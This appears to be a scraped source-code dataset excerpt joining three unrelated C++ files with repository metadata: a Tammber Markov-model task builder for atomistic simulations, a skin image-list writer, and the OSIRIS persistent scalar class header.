PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL LOS ALAMOS NATIONAL SECURITY, LLC OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef __Tammber__Builder__ #define __Tammber__Builder__ #include <new> #include <stdio.h> #include <limits> #include <memory> #include <atomic> #include <future> #include <deque> #include <chrono> #include <iostream> #include <fstream> #include <algorithm> #include <string> #include <thread> #include <mpi.h> #include <boost/unordered_set.hpp> #include <boost/unordered_map.hpp> #include <boost/optional.hpp> #include <boost/bimap/bimap.hpp> #include <boost/bimap/unordered_set_of.hpp> #include <boost/bimap/unordered_multiset_of.hpp> #include <boost/bimap/vector_of.hpp> #include <boost/bimap/multiset_of.hpp> #include <boost/bimap/support/lambda.hpp> #include <boost/timer/timer.hpp> #include <boost/multi_index_container.hpp> #include <boost/multi_index/hashed_index.hpp> #include <boost/multi_index/identity.hpp> #include <boost/multi_index/sequenced_index.hpp> #include <boost/random/random_device.hpp> #include <boost/format.hpp> #include <boost/algorithm/string.hpp> #include <boost/algorithm/string/join.hpp> #include <boost/functional/hash/hash.hpp> #include <boost/archive/text_oarchive.hpp> #include <boost/archive/text_iarchive.hpp> #include <boost/serialization/serialization.hpp> #include <boost/serialization/unordered_map.hpp> #include <boost/serialization/unordered_set.hpp> #include <boost/serialization/list.hpp> #include <boost/filesystem.hpp> #include <boost/optional.hpp> #include <thread> #include "CustomTypedefs.hpp" #include "Types.hpp" #include "TammberTypes.hpp" #include "Task.hpp" #include "Pack.hpp" #include "Constants.hpp" #include "DDS.hpp" #include "TaskManager.hpp" #include "TammberModel.hpp" #include "PullWorkProducer.hpp" #include "Log.hpp" class TammberModelBuilder : public AbstractPullWorkProducer { public: TammberModelBuilder(MPI_Comm comm_,AbstractDDS *sharedStore_, std::set<int> children_, boost::property_tree::ptree &config) : AbstractPullWorkProducer(comm_,sharedStore_,children_,config){ LOGGER("TammberModelBuilder : public AbstractPullWorkProducer") carryOverTime=0; jobcount = 0; uint64_t sharedBufferSize=config.get<uint64_t>("Configuration.MarkovModel.SharedCacheSize",1000000000); sharedStore->setMaximumBufferSize(sharedBufferSize); bool rs=false; if(boost::filesystem::exists("./TammberModel.chk")) { rs=true; std::ifstream ifs("TammberModel.chk"); boost::archive::text_iarchive ia(ifs); // read class state from archive ia >> *this; } //initialize from config data //batchSize=config.get<unsigned>("Configuration.MarkovModel.PredictionSize",nWorkers_); maxTaskMesgSize=config.get<int>("Configuration.MaximumTaskMesgSize",1000000); reportDelay=std::chrono::milliseconds( config.get<unsigned>("Configuration.MarkovModel.ReportDelay",10000) ); checkpointDelay=std::chrono::milliseconds( config.get<unsigned>("Configuration.MarkovModel.CheckpointDelay",100000) ); initialConfigurationString=config.get<std::string>("Configuration.InitialConfigurations"); defaultFlavor=config.get<int>("Configuration.TaskParameters.DefaultFlavor", 0); nebonly = config.get<int>("Configuration.MarkovModel.OnlyNEBS",false); deleteVertex = config.get<uint64_t>("Configuration.MarkovModel.DeleteVertex",0); //nstd::cout<<"NEBONLY: "<<nebonly<<std::endl; // initialConfigurations boost::split(initialConfigurations,initialConfigurationString,boost::is_any_of(" ")); // initialize the model markovModel.initialize(config,rs); }; template<class Archive> void save(Archive & ar, const unsigned int version) const { // note, version is always the latest when saving long int co=std::chrono::duration_cast<std::chrono::seconds>(std::chrono::high_resolution_clock::now()-start).count()+carryOverTime; ar & jobcount; ar & co; ar & markovModel; }; template<class Archive> void load(Archive & ar, const unsigned int version){ ar & jobcount; ar & carryOverTime; ar & markovModel; }; BOOST_SERIALIZATION_SPLIT_MEMBER() virtual void initialize(){ LOGGER("PullMMbuilder::initialize()") initialized=false; initializeSystems(); initialized=true; }; void initializeSystems() { LOGGER("PullMMbuilder::initializeSystems()") std::string testfn; for(auto initialConfiguration : initialConfigurations) { boost::trim(initialConfiguration); LOGGER("PullMMbuilder::initializeSystems() : loading "<<initialConfiguration) if(initialConfiguration.length()==0) continue; TaskDescriptor task; task.type=mapper.type("TASK_INIT_MIN"); task.flavor=jobcount++; task.optional=false; task.imposeOrdering=false; task.nInstances=1; task.id=jobcount++; insert("Filename",task.arguments,initialConfiguration); extract("Filename",task.arguments,testfn); LOGGERA("REQUESTING "<<testfn) taskQueue.insert(task); LOGGERA("IN TQ: "<<taskQueue.count()) } std::list<GenericTask> tasks; int counts=0, prev_counts=0, total_counts=initialConfigurations.size(); std::chrono::high_resolution_clock::time_point now,FirstLog,LastLog; std::chrono::milliseconds LogDelay,MaxDelay; LogDelay = std::chrono::milliseconds(1000); // 1s MaxDelay = std::chrono::milliseconds(60000); // 60s now = std::chrono::high_resolution_clock::now(); FirstLog = now; LastLog = now; while(counts<initialConfigurations.size()) { processSend(); processRecv(); prev_counts = tasks.size(); ready.extract(mapper.type("TASK_INIT_MIN"),tasks); counts += tasks.size() - prev_counts; now = std::chrono::high_resolution_clock::now(); if(now - LastLog > LogDelay || tasks.size()>prev_counts) { LOGGER("PullMMbuilder::initializeSystems() : "<<counts<<"/"<<total_counts) LastLog = now; } if(now - FirstLog > MaxDelay && tasks.size()>0) break; } LOGGER("PullMMbuilder::initializeSystems() : received "<<tasks.size()<<" tasks") for(auto &tt: tasks) { LabelPair labels; double energy; std::array<double,3> position = {0.,0.,0.}; std::set<PointShiftSymmetry> self_symmetries; PointShiftSymmetry null; self_symmetries.insert(null); int clusters=1; extract("Labels",tt.returns,labels); extract("Energy",tt.returns,energy); extract("Clusters",tt.returns,clusters); extract("Position",tt.returns,position); LOGGERA("LABELS: "<<labels.first<<" "<<labels.second<<" E:"<<energy <<"eV, Clusters:"<<clusters <<" Position:"<<position[0]<<" "<<position[1]<<" "<<position[2]) #ifdef ISOMORPHIC extract("SelfSymmetries",tt.returns,self_symmetries); LOGGERA("SelfSymmetries:") for(auto ss:self_symmetries) LOGGERA(ss.info_str()); #endif markovModel.add_vertex(labels,energy,clusters,position,self_symmetries); } LOGGERA(markovModel.info_str()<<"\nINIT DONE") }; virtual void processCompletedTasks(){ LOGGER("PullMMbuilder::processCompletedTasks()") //process the completed results // LOGGER("PullMMbuilder::processCompletedTasks PROCESSING "<<ready.size()<<" TASKS") for(auto &seg: ready.segments) { LOGGER("ADDING SEGMENT: "<<seg.info_str()) markovModel.add_segment(seg); } ready.segments.clear(); for(auto &path: ready.pathways) { LOGGER("PullMMbuilder::processCompletedTasks ADDING PATHWAY: "<<path.info_str()) markovModel.add_pathway(path); } ready.pathways.clear(); LOGGER("END PullMMbuilder::processCompletedTasks()") }; virtual void report_impl(){ LOGGER("PullMMbuilder::report_impl()") //report at given intervals { Timer t; LOGGER(std::chrono::duration_cast<std::chrono::seconds>(std::chrono::high_resolution_clock::now()-start).count()+carryOverTime) LOGGERA(markovModel.info_str()) LOGGERA("PREDICTION WITH 100 WORKERS :") std::list<TADjob> jobs; markovModel.generateTADs(jobs,100,true); completedTasks.report(); LOGGERA("In TaskQueue: "<<taskQueue.count()) } }; virtual void full_print(bool model) { LOGGER("PullMMbuilder::full_print()") // Save XML file if(deleteVertex!=0) { LOGGERA("PullMMbuilder::full_print DELETING "<<deleteVertex) markovModel.deleteVertex(deleteVertex); { std::ofstream ofs("./TammberModelNew.chk"); { boost::archive::text_oarchive oa(ofs); oa << *this; } } } // Print analysis to screen LOGGERA(markovModel.info_str(true)) if(model) markovModel.write_model("MarkovModel.xml"); std::list<TADjob> jobs; LOGGERA("PREDICTION WITH 100 WORKERS :") markovModel.generateTADs(jobs,100,true); }; virtual void checkpoint_impl() { LOGGER("PullMMbuilder::checkpoint_impl()") //checkpoint at given intervals { std::ofstream ofs("./TammberModel.chk"); // save data to archive { boost::archive::text_oarchive oa(ofs); // write class instance to archive //this is done by boost serialization, through a call to the save method of PullSplicer (see above). oa << *this; // archive and stream closed when destructors are called } } }; virtual TaskDescriptorBundle generateTasks(int consumerID, int nTasks){ LOGGER("PullMMbuilder::generateTasks : GENERATING "<<nTasks<<" TASKS, SPLICER TQ: "<<taskQueue.count()) TaskDescriptorBundle tasks; TaskDescriptor task; //get the "global" tasks first taskQueue.transferTo(tasks,nTasks); int batchSize=tasks.count(); LOGGER("PullMMbuilder::generateTasks : batchSize="<<batchSize<<", nTasks="<<nTasks<<", initialized:"<<initialized) if (batchSize>=nTasks || not initialized) return tasks; LOGGER("PullMMbuilder::generateTasks : initialized && batchSize<=nTasks") std::list<NEBjob> nebs; markovModel.generateNEBs(nebs,nTasks-batchSize); for(auto neb=nebs.begin(); neb!=nebs.end();) { task.type=mapper.type("TASK_NEB"); task.imposeOrdering=false; task.optional=false; task.clearInputs(); task.nInstances=1; task.producer=0; task.id=jobcount++; task.flavor=defaultFlavor; NEBPathway pathway; pathway.InitialLabels = neb->TargetTransition.first; pathway.FinalLabels = neb->TargetTransition.second; pathway.pairmap=false; pathway.InitialSymmetries = neb->InitialSymmetries; pathway.FinalSymmetries = neb->FinalSymmetries; LOGGER("PullMMbuilder::generateTasks : SUBMITTING PATHWAY FOR NEB "<<pathway.submit_info_str()) if(neb->ExistingPairs.size()>0) { LOGGER("ExistingPairs: \n") for (auto epl: neb->ExistingPairs) LOGGER(neb->TargetTransition.first.first<<","<<epl.first<<" -> "<<neb->TargetTransition.second.first<<","<<epl.second<<"\n") } insert("Initial",neb->TargetTransition.first.second,LOCATION_SYSTEM_MIN,true,NECESSITY::REQUIRED,task.inputData); insert("Final",neb->TargetTransition.second.second,LOCATION_SYSTEM_MIN,true,NECESSITY::REQUIRED,task.inputData); for(auto epl: neb->ExistingPairs) { insert("ExistingPairs",epl.first,LOCATION_SYSTEM_MIN,true,NECESSITY::REQUIRED,task.inputData); insert("ExistingPairs",epl.second,LOCATION_SYSTEM_MIN,true,NECESSITY::REQUIRED,task.inputData); pathway.compared_transitions.push_back(epl); } insert("NEBPathway",task.arguments,pathway); tasks.insert(task); neb = nebs.erase(neb); batchSize++; if (batchSize>=nTasks) return tasks; } if(nebonly) return tasks; //taskQueue.transferTo(tasks,nTasks-batchSize); //batchSize=tasks.count(); std::list<TADjob> tads; #ifdef VERBOSE markovModel.generateTADs(tads,nTasks-batchSize,true); #else markovModel.generateTADs(tads,nTasks-batchSize,false); #endif task.type=mapper.type("TASK_SEGMENT"); task.imposeOrdering=true; task.optional=true; for(auto tad=tads.begin(); tad!=tads.end();) { task.clearInputs(); task.nInstances=tad->nInstances; task.producer=0; task.id=jobcount++; task.flavor=defaultFlavor; TADSegment segment; segment.InitialLabels = tad->InitialLabels; segment.temperature = tad->temperature; for(auto bl: tad->BasinLabels) segment.BasinLabels.insert(bl); LOGGER("PullMMbuilder::generateTasks : SUBMITTING SEGMENT "<<segment.submit_info_str()) bool ProductionRun=true; // not debug run insert("ProductionRun",task.arguments,ProductionRun); insert("TADSegment",task.arguments,segment); insert("Minimum",tad->InitialLabels.second,LOCATION_SYSTEM_MIN,true,NECESSITY::REQUIRED,task.inputData); std::string qsdstr = "QSD"+std::to_string(int(tad->temperature)); insert(qsdstr,tad->InitialLabels.second,task.flavor,false,NECESSITY::OPTIONAL,task.inputData); LOGGER("PullMMbuilder::generateTasks : ADDING "<<task.nInstances<<" OF TASK "<<mapper.type(task.type)<<" "<<task.type) tasks.insert(task); tad = tads.erase(tad); batchSize += task.nInstances; if (batchSize>=nTasks) return tasks; } LOGGER("PullMMbuilder::generateTasks : SPLICER TQ: "<<taskQueue.count()) return tasks; }; protected: TaskDescriptorBundle taskQueue; TammberModel markovModel; std::string initialConfigurationString; std::vector<std::string> initialConfigurations; unsigned long carryOverTime; unsigned long jobcount; unsigned batchSize; int defaultFlavor; bool nebonly; Label deleteVertex; std::map< std::pair<int,int>, std::map<std::string,std::string> > taskParameters; //std::ofstream outTime; bool initialized, OnlyNEBS; }; #endif
[ "tomswinburne@gmail.com" ]
tomswinburne@gmail.com
34e66955405b5cc6df1c69267231a4e37a4663a9
228e00812cc2428c1421565e5be3e04bf3660759
/besch/writer/skin_writer.cc
05b95438e65477ee0268659366a1d72218c737b1
[ "LicenseRef-scancode-warranty-disclaimer", "Artistic-1.0", "MIT" ]
permissive
4ssfscker/node-sim
dbfbec5d41988a5f4e1562babea89ccc86c04a2f
2bd3422fd645f415024907c9cf92697057cbc222
refs/heads/master
2021-01-24T10:38:14.973367
2007-06-09T15:12:10
2018-03-04T05:47:05
123,057,027
0
0
null
null
null
null
UTF-8
C++
false
false
887
cc
#include "../../utils/cstring_t.h" #include "../../dataobj/tabfile.h" #include "../skin_besch.h" #include "obj_node.h" #include "text_writer.h" #include "imagelist_writer.h" #include "skin_writer.h" void skin_writer_t::write_obj(FILE* fp, obj_node_t& parent, tabfileobj_t& obj) { slist_tpl<cstring_t> keys; for (int i = 0; ;i++) { char buf[40]; sprintf(buf, "image[%d]", i); cstring_t str = obj.get(buf); if (str.len() == 0) { break; } keys.append(str); } write_obj(fp, parent, obj, keys); } void skin_writer_t::write_obj(FILE* fp, obj_node_t& parent, tabfileobj_t& obj, const slist_tpl<cstring_t>& imagekeys) { slist_tpl<cstring_t> keys; skin_besch_t besch; obj_node_t node(this, sizeof(besch), &parent, true); write_head(fp, node, obj); imagelist_writer_t::instance()->write_obj(fp, node, imagekeys); node.write_data(fp, &besch); node.write(fp); }
[ "noreply@user558903.github.com" ]
noreply@user558903.github.com
aa6c62917d9af46bf483d16dab6b5d900875c3a5
a692fe17e0c96a713ccb89ad36f0348cbc4b361f
/osiris/BaseClassLib/rgpscalar.h
398dd1d17b55a6edc643a793d611d8aad1cc7b7b
[]
no_license
Rajesh35hsp/osiris
9c249633745d0730c96132a58bfd95e0aeaa1148
c9b22d74881472b43f2c0e5619aa53341c709d19
refs/heads/master
2023-08-27T00:50:03.242581
2021-11-05T13:26:29
2021-11-05T13:26:29
null
0
0
null
null
null
null
UTF-8
C++
false
false
17,308
h
/* * =========================================================================== * * PUBLIC DOMAIN NOTICE * National Center for Biotechnology Information * * This software/database is a "United States Government Work" under the * terms of the United States Copyright Act. It was written as part of * the author's official duties as a United States Government employee and * thus cannot be copyrighted. This software/database is freely available * to the public for use. The National Library of Medicine and the U.S. * Government have not placed any restriction on its use or reproduction. * * Although all reasonable efforts have been taken to ensure the accuracy * and reliability of the software and data, the NLM and the U.S. * Government do not and cannot warrant the performance or results that * may be obtained by using this software or data. The NLM and the U.S. * Government disclaim all warranties, express or implied, including * warranties of performance, merchantability or fitness for any particular * purpose. * * Please cite the author in any work or product based on this material. * * =========================================================================== * * FileName: rgpscalar.h * Author: Robert Goor * */ // // class RGPScalar or persistent scalar...it is a acalar, which can be subclassed as an integer, double, unsigned // or boolean, but it can be collected in an RGDList and saved // #ifndef _RGPSCALAR_H_ #define _RGPSCALAR_H_ #include "rgpersist.h" #include "rgstring.h" #include "rgdefs.h" class RGFile; class RGVInStream; class RGVOutStream; const int _RGPINT_ = 8; const int _RGPSCALAR_ = 11; const int _RGPDOUBLE_ = 12; const int _RGPUNSIGNED_ = 13; const int _RGPBOOLEAN_ = 14; const int _RGPDECIMAL_ = 39; const int _RGXMLINT_ = 40; const int _RGXMLDOUBLE_ = 41; const int _RGXMLUNSIGNED_ = 42; const int _RGXMLSTRINGSCALAR_ = 44; PERSISTENT_PREDECLARATION (RGPScalar) PERSISTENT_PREDECLARATION (RGPInt) PERSISTENT_PREDECLARATION (RGPDouble) PERSISTENT_PREDECLARATION (RGPUnsigned) PERSISTENT_PREDECLARATION (RGPBoolean) PERSISTENT_PREDECLARATION (RGPDecimal) PERSISTENT_PREDECLARATION (RGXMLInt) PERSISTENT_PREDECLARATION (RGXMLDouble) PERSISTENT_PREDECLARATION (RGXMLUnsigned) PERSISTENT_PREDECLARATION (RGXMLStringScalar) class RGPScalar : public RGPersistent { PERSISTENT_DECLARATION(RGPScalar) public: RGPScalar (); RGPScalar (const RGPScalar&); virtual ~RGPScalar (); virtual RGPScalar& operator=(const RGPScalar& rhs); RGPScalar& operator=(int i) { SetTo (i); return *this; } RGPScalar& operator=(double d) { SetTo (d); return *this; } RGPScalar& operator=(unsigned long i) { SetTo (i); return *this; } Boolean operator==(const RGPScalar& rhs) const; Boolean operator<=(const RGPScalar& rhs) const; Boolean operator<(const RGPScalar& rhs) const; Boolean operator>=(const RGPScalar& rhs) const; Boolean operator>(const RGPScalar& rhs) const; Boolean operator!=(const RGPScalar& rhs) const; operator int() const { return GetInt (); } operator double() const { return GetDouble (); } operator unsigned long() const { return GetUnsigned (); } Boolean GetBooleanValue () const { return GetBoolean (); } RGString GetStringValue (unsigned long length) const { return GetString (length); } virtual size_t StoreSize () const; virtual int CompareTo (const RGPersistent*) const; virtual unsigned HashNumber (unsigned long Base) const; virtual Boolean IsEqualTo (const RGPersistent*) const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual int Compare (const RGPScalar& rhs) const; virtual int Compare (int i) const; virtual int Compare (double d) const; virtual int Compare (unsigned long i) const; virtual int Compare (const RGString& str) const; virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual int GetInt () const; virtual double GetDouble () const; virtual unsigned long GetUnsigned () const; virtual Boolean GetBoolean () const; virtual RGString GetString (unsigned long length) const; virtual void SetTotalDigits (int n); virtual void SetFractionalDigits (int n); virtual void SetMaxInclusive (const RGPScalar& max); virtual void SetMinInclusive (const RGPScalar& min); virtual void SetMaxExclusive (const RGPScalar& max); virtual void SetMinExclusive (const RGPScalar& min); virtual void ResetBounds (); virtual unsigned long TotalLength () const; virtual unsigned long FractionDigits () const; virtual unsigned long TotalDigits () const; Boolean BoundsViolation () const { return ViolatedBounds; } protected: Boolean ViolatedBounds; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGPInt : public RGPScalar { PERSISTENT_DECLARATION(RGPInt) public: RGPInt () : RGPScalar (), Value (0) {} RGPInt (int val) : RGPScalar (), Value (val) {} RGPInt (const RGPInt& rhs) : RGPScalar (), Value (rhs.Value) {} ~RGPInt (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual int CompareTo (const RGPersistent*) const; virtual unsigned HashNumber (unsigned long Base) const; virtual Boolean IsEqualTo (const RGPersistent*) const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual int Compare (const RGPScalar& rhs) const; virtual int Compare (int i) const; virtual int Compare (double d) const; virtual int Compare (unsigned long i) const; virtual int Compare (const RGString& str) const; virtual int GetInt () const; virtual double GetDouble () const; virtual unsigned long GetUnsigned () const; virtual Boolean GetBoolean () const; virtual RGString GetString (unsigned long length) const; virtual unsigned long TotalLength () const; virtual unsigned long TotalDigits () const; protected: int Value; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGPDouble : public RGPScalar { PERSISTENT_DECLARATION(RGPDouble) public: RGPDouble () : RGPScalar (), Value (0.0) {} RGPDouble (double val) : RGPScalar (), Value (val) {} RGPDouble (const RGPDouble& rhs) : RGPScalar (), Value (rhs.Value) {} ~RGPDouble (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual int CompareTo (const RGPersistent*) const; virtual unsigned HashNumber (unsigned long Base) const; virtual Boolean IsEqualTo (const RGPersistent*) const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual int Compare (const RGPScalar& rhs) const; virtual int Compare (int i) const; virtual int Compare (double d) const; virtual int Compare (unsigned long i) const; virtual int Compare (const RGString& str) const; virtual int GetInt () const; virtual double GetDouble () const; virtual unsigned long GetUnsigned () const; virtual Boolean GetBoolean () const; virtual RGString GetString (unsigned long length) const; virtual unsigned long TotalLength () const; virtual unsigned long FractionDigits () const; virtual unsigned long TotalDigits () const; protected: double Value; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGPUnsigned : public RGPScalar { PERSISTENT_DECLARATION(RGPUnsigned) public: RGPUnsigned () : RGPScalar (), Value (0) {} RGPUnsigned (unsigned long val) : RGPScalar (), Value (val) {} RGPUnsigned (const RGPUnsigned& rhs) : RGPScalar (), Value (rhs.Value) {} ~RGPUnsigned (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual int CompareTo (const RGPersistent*) const; virtual unsigned HashNumber (unsigned long Base) const; virtual Boolean IsEqualTo (const RGPersistent*) const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual int Compare (const RGPScalar& rhs) const; virtual int Compare (int i) const; virtual int Compare (double d) const; virtual int Compare (unsigned long i) const; virtual int Compare (const RGString& str) const; virtual int GetInt () const; virtual double GetDouble () const; virtual unsigned long GetUnsigned () const; virtual Boolean GetBoolean () const; virtual RGString GetString (unsigned long length) const; virtual unsigned long TotalLength () const; virtual unsigned long TotalDigits () const; protected: unsigned long Value; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGPBoolean : public RGPScalar { PERSISTENT_DECLARATION(RGPBoolean) public: RGPBoolean () : RGPScalar (), Value (0) {} RGPBoolean (unsigned long val) : RGPScalar () { if (val == 0) Value = 0; else Value = 1; } RGPBoolean (const RGPBoolean& rhs) : RGPScalar (), Value (rhs.Value) {} ~RGPBoolean (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual int CompareTo (const RGPersistent*) const; virtual unsigned HashNumber (unsigned long Base) const; virtual Boolean IsEqualTo (const RGPersistent*) const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual int Compare (const RGPScalar& rhs) const; virtual int Compare (int i) const; virtual int Compare (double d) const; virtual int Compare (unsigned long i) const; virtual int Compare (const RGString& str) const; virtual int GetInt () const; virtual double GetDouble () const; virtual unsigned long GetUnsigned () const; virtual Boolean GetBoolean () const; virtual RGString GetString (unsigned long length) const; protected: Boolean Value; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGPDecimal : public RGPDouble { PERSISTENT_DECLARATION(RGPDecimal) public: RGPDecimal () : RGPDouble (), TotalDigs (-1), FractionalDigs (-1), Maximum (DOUBLEMAX), Minimum (DOUBLEMIN), EMaximum (DOUBLEMAX), EMinimum (DOUBLEMIN) {} RGPDecimal (double val) : RGPDouble (val), TotalDigs (-1), FractionalDigs (-1), Maximum (DOUBLEMAX), Minimum (DOUBLEMIN), EMaximum (DOUBLEMAX), EMinimum (DOUBLEMIN) {} RGPDecimal (const RGPDecimal& rhs) : RGPDouble (rhs), TotalDigs (rhs.TotalDigs), FractionalDigs (rhs.FractionalDigs), Maximum (DOUBLEMAX), Minimum (DOUBLEMIN), EMaximum (DOUBLEMAX), EMinimum (DOUBLEMIN) {} ~RGPDecimal (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual RGString GetString (unsigned long length) const; virtual void SetTotalDigits (int n); virtual void SetFractionalDigits (int n); protected: int TotalDigs; int FractionalDigs; double Maximum; double Minimum; double EMaximum; double EMinimum; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); RGString ConvertDouble (double d) const; int RemoveTrailingZeroes (RGString& Work, int decimalPt) const; }; class RGXMLInt : public RGPInt { PERSISTENT_DECLARATION(RGXMLInt) public: RGXMLInt () : RGPInt (), Maximum (INTMAX), Minimum (INTMIN) {} RGXMLInt (int val) : RGPInt (val), Maximum (INTMAX), Minimum (INTMIN) {} RGXMLInt (const RGXMLInt& rhs) : RGPInt (rhs), Maximum (rhs.Maximum), Minimum (rhs.Minimum) {} ~RGXMLInt (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual void SetMaxInclusive (const RGPScalar& max); virtual void SetMinInclusive (const RGPScalar& min); virtual void ResetBounds (); virtual void SetMaxExclusive (const RGPScalar& max); virtual void SetMinExclusive (const RGPScalar& min); protected: int Maximum; // These are max and min inclusive; for exclusive, modify max and min by 1 (these are ints int Minimum; // for cryin' out loud!) virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGXMLDouble : public RGPDouble { PERSISTENT_DECLARATION(RGXMLDouble) public: RGXMLDouble () : RGPDouble (), Maximum (DOUBLEMAX), Minimum (DOUBLEMIN), EMaximum (DOUBLEMAX), EMinimum (DOUBLEMIN) {} RGXMLDouble (double val) : RGPDouble (val), Maximum (DOUBLEMAX), Minimum (DOUBLEMIN), EMaximum (DOUBLEMAX), EMinimum (DOUBLEMIN) {} RGXMLDouble (const RGXMLDouble& rhs) : RGPDouble (rhs), Maximum (rhs.Maximum), Minimum (rhs.Minimum), EMaximum (rhs.EMaximum), EMinimum (rhs.EMinimum) {} ~RGXMLDouble (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual void SetMaxInclusive (const RGPScalar& max); virtual void SetMinInclusive (const RGPScalar& min); virtual void SetMaxExclusive (const RGPScalar& max); virtual void SetMinExclusive (const RGPScalar& min); virtual void ResetBounds (); protected: double Maximum; double Minimum; double EMaximum; double EMinimum; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGXMLUnsigned : public RGPUnsigned { PERSISTENT_DECLARATION(RGXMLUnsigned) public: RGXMLUnsigned () : RGPUnsigned (), Maximum (ULONGMAX), Minimum (ULONGMIN) {} RGXMLUnsigned (unsigned long val) : RGPUnsigned (val), Maximum (ULONGMAX), Minimum (ULONGMIN) {} RGXMLUnsigned (const RGXMLUnsigned& rhs) : RGPUnsigned (rhs), Maximum (rhs.Maximum), Minimum (rhs.Minimum) {} ~RGXMLUnsigned (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual void SetMaxInclusive (const RGPScalar& max); virtual void SetMinInclusive (const RGPScalar& min); virtual void SetMaxExclusive (const RGPScalar& max); virtual void SetMinExclusive (const RGPScalar& min); virtual void ResetBounds (); protected: unsigned long Maximum; // These will suffice for both inclusive and exclusive bounds unsigned long Minimum; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGXMLStringScalar : public RGPScalar { PERSISTENT_DECLARATION(RGXMLStringScalar) public: RGXMLStringScalar (); RGXMLStringScalar (const RGXMLStringScalar&); virtual ~RGXMLStringScalar (); virtual RGXMLStringScalar& operator=(const RGXMLStringScalar& rhs); RGXMLStringScalar& operator=(int i) { SetTo (i); return *this; } RGXMLStringScalar& operator=(double d) { SetTo (d); return *this; } RGXMLStringScalar& operator=(unsigned long i) { SetTo (i); return *this; } virtual size_t StoreSize () const; virtual unsigned HashNumber (unsigned long Base) const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual int Compare (const RGPScalar& rhs) const; virtual int Compare (int i) const; virtual int Compare (double d) const; virtual int Compare (unsigned long i) const; virtual int Compare (const RGString& str) const; virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual int GetInt () const; virtual double GetDouble () const; virtual unsigned long GetUnsigned () const; virtual Boolean GetBoolean () const; virtual RGString GetString (unsigned long length) const; virtual unsigned long TotalLength () const; protected: RGString SValue; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; #endif /* _RGPSCALAR_H_ */
[ "hoffman@ncbi.nlm.nih.gov" ]
hoffman@ncbi.nlm.nih.gov
2e488cb99f7c4602bf4312696a7281031cc7de2f
238e46a903cf7fac4f83fa8681094bf3c417d22d
